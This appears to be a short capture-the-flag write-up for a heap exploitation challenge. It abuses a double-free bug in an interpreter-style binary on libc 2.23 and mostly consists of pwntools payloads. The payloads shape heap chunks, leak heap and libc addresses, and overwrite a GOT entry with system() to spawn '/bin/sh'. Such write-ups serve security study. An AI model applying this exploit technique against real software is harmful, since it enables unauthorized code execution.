In program, free input buffer again and again. So, there's double free bug, but libc's version is 2.23 so we need to bypass corruption.
For bypass, I make some functions for chunks of size 0x80. After, we will free it by re-define functions with bigger operators.
```f = ['a', 'b', 'c', 'd', 'e']pay = [': {} 7 + + + + + + + '.format(c) for c in f]r.sendlineafter('>> ', ''.join(pay))```
But first we need to make new function which operator chunk has same address with our input buffer. So, we can do other stuffs with our input as pointer
```r.sendlineafter('>> ', ': f 7 + + + + + + +'.rjust(0x6f, ' '))```
Next, we leak heap and libc address with function `f`, then push fake function chunk and pointer in function array.
```pay = ': a 8 + + + + + + + + 'pay += 'f'pay = pay.ljust(0x20, '\x00')pay += p64(7) + p64(0x601b80)pay += p64(6) + p64(0x601c88)pay += p64(6) + p64(0x601c90)pay += p64(7) + p64(0x601c88)pay += p64(5)r.sendlineafter('>> ', pay)```
Finally, re-define function which we made in function array, so we can write somewhere (which is GOT).
```pay = '/bin/sh; f '.ljust(16, '\x00')pay += p64(5) + p64(heap_base+0x450)pay += p64(heap_base + 0x50) + p64(1)pay += p64(7) + p64(heap_base+0x28)pay += p64(libc.symbols['system']) + p64(0)pay += p64(5) + p64(0)pay += p64(5)r.sendlineafter('>> ', pay)```
